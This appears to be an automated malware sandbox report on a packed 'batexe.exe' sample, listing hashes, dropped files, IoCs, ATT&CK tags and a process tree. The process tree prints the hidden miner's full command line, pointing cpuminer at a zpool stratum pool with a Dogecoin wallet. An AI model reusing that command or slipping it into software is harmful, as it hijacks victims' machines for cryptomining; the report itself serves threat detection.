73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
291s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 03:44

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3320	b2e.exe
5048	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
5048	cpuminer-sse2.exe
5048	cpuminer-sse2.exe
5048	cpuminer-sse2.exe
5048	cpuminer-sse2.exe
5048	cpuminer-sse2.exe
5048	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4888-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 3320	4888	batexe.exe	74
PID 4888 wrote to memory of 3320	4888	batexe.exe	74
PID 4888 wrote to memory of 3320	4888	batexe.exe	74
PID 3320 wrote to memory of 4124	3320	b2e.exe	75
PID 3320 wrote to memory of 4124	3320	b2e.exe	75
PID 3320 wrote to memory of 4124	3320	b2e.exe	75
PID 4124 wrote to memory of 5048	4124	cmd.exe	78
PID 4124 wrote to memory of 5048	4124	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Users\Admin\AppData\Local\Temp\CBEB.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CBEB.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CBEB.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3320
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D040.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CBEB.tmp\b2e.exe

Filesize
2.7MB

MD5
8bf8f5c9d34334938bf32fc15bc9404d

SHA1
fc6b04c193ad23f74ea2a395d67fabfd9ac4aeae

SHA256
176555a7e230054dfb5acb067e8b9306657c5c574f903e67fec1ffe8ecd0a372

SHA512
47658beffb531e00acbd6e1949d549fc8a936f8af46020fb94f6664bac9d153137fdbd2a9b8fb0a5747a06810949cada5de0a014bfcb1928819904c906293dce

Download Submit
C:\Users\Admin\AppData\Local\Temp\CBEB.tmp\b2e.exe

Filesize
3.4MB

MD5
ea79ec55a44c9b951b3b8d06cb1e47d3

SHA1
045a1ca99f573204614ee2f4f1a9cef003b7a223

SHA256
d43dc3ae8e26761e0a5d02acf4974bcd81d25325faf59625153b13bd760153f2

SHA512
37a514b3ac6cb109293f7fa2fc4a3d493e308f2bcfe240525b2ecbb39148db60854d13a5c5eafc44ebb1040c7e604cf33d1e753f17bb8ec73fbced93a27e4094

Download Submit
C:\Users\Admin\AppData\Local\Temp\D040.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
960KB

MD5
5f088febb9167d9fa27631de416c40d9

SHA1
0e7cfc61e5cd1bb82c846c939d71388e2f9d5086

SHA256
869740b99a3d66f9e9decc133d9c3c4a2c14c3e7c62c512248da76f002387fce

SHA512
65e4cd0d550b852f50e426e53ff47bf1419a5cc1aaf07010b10b96f392148525950fd11dd3b1e8acda0916d288414629cde845cdc959ed7092e565ccb8ffa920

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c92c77f1a0ac6f5dc252a0e6187d8345

SHA1
f7814840f3adb7a5f510c3cd772682d5542880d4

SHA256
2fc1c2da730cdbdf707f77739c0a6ccd5f598b75d7dcff31eed0f68549f1e043

SHA512
dcc271087d055c897b6f5ca858da460861a32f18100a211d794b57778f1c51b06f627e979ecb7e0c9fd06c2f41e4dbcfc168a21611810f867b14d033aab74111

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
bd70a3cab70c277ccdcccd474cf2d745

SHA1
a45abbd5114322f1ccad94222d60c5c887219396

SHA256
76cd32be3e16eae9c1cafede92b0a56eae76347a9b3c610b5c3d94b945c504a0

SHA512
b4d4a5b9ec2052d16d21772a8c78eb85fdd77840dcca3e565b1d3bcf43c47e3cacc6dd4fe8b4c1f8a5f901163789fd92392eed13e85cbc499c6788b4a8f094c2

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
832KB

MD5
9b527cc7775e3fefc75ebd6cf497b81b

SHA1
7405b4528854589bc404f55c0e591d2e534d8d63

SHA256
eb4270d5203fe07ee63a7161093d69577ada5ad4ca659a6181d63953a69bca72

SHA512
6471f61ebc78e6ab30cce7cb444c582a8a24cbcbff1a8cc3d22d20d299d53c6377127e76bcc2a1e2c9108cd65d6fb89d42ddf89b04140c8e225f5115984a4b85

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
832KB

MD5
d33f0e6bb5e8d2b9e111a90544790dc8

SHA1
df4e81d22638d511e761744e886c33bc12096c48

SHA256
40729edf62213c039a1818c9adb9478aa0284bb26dd071bd1ac4de1da2470048

SHA512
ce4ebeae054117d4de8b3fe2403d95a6d819483269f851618958e864887e9b2f42fc9c893e1aa207dfa2d94900c8f4214a67796ddeb2a80ce655d69ec290d629

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
896KB

MD5
f83929cce536e71a3a11e2236c2c6c5f

SHA1
bd0065486a784f1c91e08ada0c3a8f383e23c874

SHA256
f3c7a692875dec174d83dd723c63661fc9de1c0b6548fe3a3f8f8f2015507798

SHA512
815083437ad5659626fba85fa9e31a33ba418d3e1d5f1ec1c7ba77ff5214618493b37821aae3b5b52838ad47f4a7e8c4a3594ee0f970025bc3ee425e9eb50152

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1024KB

MD5
61f1013547dc4ad24f8c5338c41931c3

SHA1
4a9f72fe7e71046ecd3d5af6443f195a6051430b

SHA256
2a65749eaa95c5c90be12d11587a82432933aabd60e8854868bc7168a36150ee

SHA512
6604219c7e5d583e8cc6a1f407e9964ab39791026857d17c9de25d3a4a8bb0272d491c6c019643eeeee8a2bd3451f3e0b75298e043777d44b8f3a161582c9b40

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3320-52-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3320-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4888-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5048-43-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/5048-42-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5048-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5048-45-0x0000000000F40000-0x0000000000FFC000-memory.dmp

Filesize
752KB

Download
memory/5048-46-0x0000000072600000-0x0000000072698000-memory.dmp

Filesize
608KB

Download
memory/5048-39-0x0000000000F40000-0x0000000000FFC000-memory.dmp

Filesize
752KB

Download
memory/5048-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5048-58-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5048-73-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5048-88-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5048-93-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5048-98-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5048-103-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download